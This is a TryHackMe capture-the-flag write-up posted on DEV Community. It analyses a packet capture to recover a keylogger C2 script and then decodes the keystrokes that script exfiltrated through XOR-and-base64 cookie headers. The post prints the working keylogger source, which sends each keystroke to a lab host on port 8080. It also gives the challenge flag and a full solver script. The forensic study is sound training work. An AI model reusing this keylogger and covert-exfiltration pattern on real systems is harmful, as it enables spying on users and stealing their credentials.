DEV Community

Cover image for [TryHackMe Writeup] Packed Light
Wahiduddin Samani
Wahiduddin Samani

Posted on

[TryHackMe Writeup] Packed Light

**Network Forensics — C2 Keylogger Exfiltration via HTTP Cookie

**
File: traffic.pcapng
Category: Forensics
Difficulty: Easy
Flag: THM{V3r4_1s_w4tch1ng_0veR_y0u}


Step-by-Step

**Step 1 — Identify Suspicious Traffic

**
Loaded the pcap with Python + Scapy and counted TCP ports:

443   -> 368 packets
8080  -> 251 packets   <-- unusual
Enter fullscreen mode Exit fullscreen mode

The hint from @0xMia mentioned "pinging some random :8080 address every single second" — port 8080 is the covert channel.

Step 2 — Inspect the 8080 Traffic

The very first request was a download:

GET /temp/updates.py HTTP/1.1
Host: byte-lotus-hotel.thm:8080
Enter fullscreen mode Exit fullscreen mode

The server (34.41.103.191:8080, SimpleHTTP Python server) served updates.py — a keylogger C2 script:

import requests
import base64
from pynput import keyboard

C2_URL = "http://byte-lotus-hotel.thm:8080/"

def getkey():
    p1 = "H0t3lSt@ff0Nly"
    p2 = "K3epS3cr3t!"
    return p1 + p2

def xor(data: bytes, key: bytes) -> bytes:
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

def sendltr(character):
    raw_bytes = character.encode('utf-8')
    encrypted = xor(raw_bytes, getkey().encode('utf-8'))
    b64_string = base64.b64encode(encrypted).decode('utf-8')
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1",
        "Cookie": f"hotel_sess_state={b64_string}"
    }
    requests.get(C2_URL, headers=headers, timeout=0.5)
Enter fullscreen mode Exit fullscreen mode

Key findings:

  • XOR key: H0t3lSt@ff0NlyK3epS3cr3t! (two concatenated strings)
  • Each keystroke: XOR → base64 → Cookie: hotel_sess_state= header
  • Sent via innocent-looking GET / requests

Step 3 — Extract the Exfil Cookies

All 30 keystrokes were found in cookie headers across the GET requests:

Cookie: hotel_sess_state=HA==
Cookie: hotel_sess_state=AA==
Cookie: hotel_sess_state=BQ==
...
Enter fullscreen mode Exit fullscreen mode

Step 4 — Decode (base64 → XOR)

import base64

KEY = "H0t3lSt@ff0NlyK3epS3cr3t!"

def xor(data: bytes, key: str) -> bytes:
    kb = key.encode('utf-8')
    return bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))

for cookie in cookies:
    raw = base64.b64decode(cookie)
    print(xor(raw, KEY).decode(), end='')
Enter fullscreen mode Exit fullscreen mode

Result

THM{V3r4_1s_w4tch1ng_0veR_y0u}
Enter fullscreen mode Exit fullscreen mode

Covert Channel Summary

keyboard keystroke
    → XOR with "H0t3lSt@ff0NlyK3epS3cr3t!"
    → base64 encode
    → Cookie: hotel_sess_state=<b64>
    → GET / HTTP/1.1 to C2 at byte-lotus-hotel.thm:8080
Enter fullscreen mode Exit fullscreen mode

Disguised as a hotel app "sync service" polling the server at regular intervals.

Tools Used

  • Python + Scapy — pcap parsing
  • Custom decoder — base64 + XOR
  • curl.exe — (optional) HTTP checks


# Byte Lotus - Network Forensics (C2 Keylogger Exfiltration)
# Fully automatic: finds C2 script, extracts XOR key from it,
# collects exfil cookies, decodes, prints flag.
#
# Usage: python solve_forensics.py <path_to_traffic.pcapng>

import sys
import re
import base64
from scapy.all import rdpcap

PCAP = sys.argv[1] if len(sys.argv) > 1 else r'traffic.pcapng'

def xor(data: bytes, key: str) -> bytes:
    kb = key.encode('utf-8')
    return bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))

print(f"[+] Reading {PCAP} ...")
pkts = rdpcap(PCAP)

# ---- Step 1: Find the C2 script download (GET /temp/updates.py) ----
print("\n[+] Step 1: Locating C2 script...")
script = b''
for p in pkts:
    if p.haslayer('TCP') and p.sport == 8080 and p['TCP'].payload:
        pay = bytes(p['TCP'].payload)
        if b'import requests' in pay:
            start = pay.find(b'import requests')
            end = pay.find(b'\r\n\r\n', start)
            script = pay[start:end] if end != -1 else pay[start:]
            break
        elif script and not pay.startswith(b'HTTP'):
            script += pay

if not script:
    print("[-] C2 script not found in capture!")
    sys.exit(1)

print("[+] C2 script found:")
print(script.decode('utf-8', errors='replace'))

# ---- Step 2: Extract XOR key from the script automatically ----
print("\n[+] Step 2: Extracting XOR key from script...")
text = script.decode('utf-8', errors='replace')

# Pattern: key parts assigned to string variables and concatenated
parts = re.findall(r'[pv]\d?\s*=\s*"([^"]+)"', text)
key = ''.join(parts)
if not key:
    # Fallback: look for any string near "return p1 + p2" style, or a single key var
    m = re.search(r'return\s+(\w+)\s*\+\s*(\w+)', text)
    if m:
        key = parts[0] + parts[1] if len(parts) >= 2 else ''
if not key:
    m = re.search(r'key\s*=\s*["\']([^"\']+)["\']', text, re.I)
    key = m.group(1) if m else ''

if not key:
    print("[-] Could not extract key automatically!")
    sys.exit(1)

print(f"[+] XOR key: {key!r}")

# ---- Step 3: Extract all exfil cookies in packet order ----
print("\n[+] Step 3: Extracting exfil cookies...")
cookies = []
for p in pkts:
    if p.haslayer('TCP') and p.dport == 8080 and p['TCP'].payload:
        pay = bytes(p['TCP'].payload)
        if b'hotel_sess_state=' in pay:
            for m in pay.split(b'hotel_sess_state=')[1:]:
                cookies.append(m.split(b'\r\n')[0].decode())

print(f"[+] Found {len(cookies)} cookies")

# ---- Step 4: Decode each keystroke (base64 -> XOR) ----
print("\n[+] Step 4: Decoding (base64 -> XOR)...")
chars = []
for c in cookies:
    try:
        raw = base64.b64decode(c)
        chars.append(xor(raw, key).decode('utf-8', errors='replace'))
    except Exception as e:
        chars.append(f"<err:{e}>")

message = ''.join(chars)

# ---- Step 5: Report flag ----
print("\n[+] Decoded keystroke stream:")
print(message)

flag = re.search(r'THM\{[^}]+\}', message)
if flag:
    print(f"\n[+] FLAG: {flag.group(0)}")
else:
    print("\n[!] No THM{...} flag pattern found in decoded data — check the full output above.")

Enter fullscreen mode Exit fullscreen mode

Top comments (0)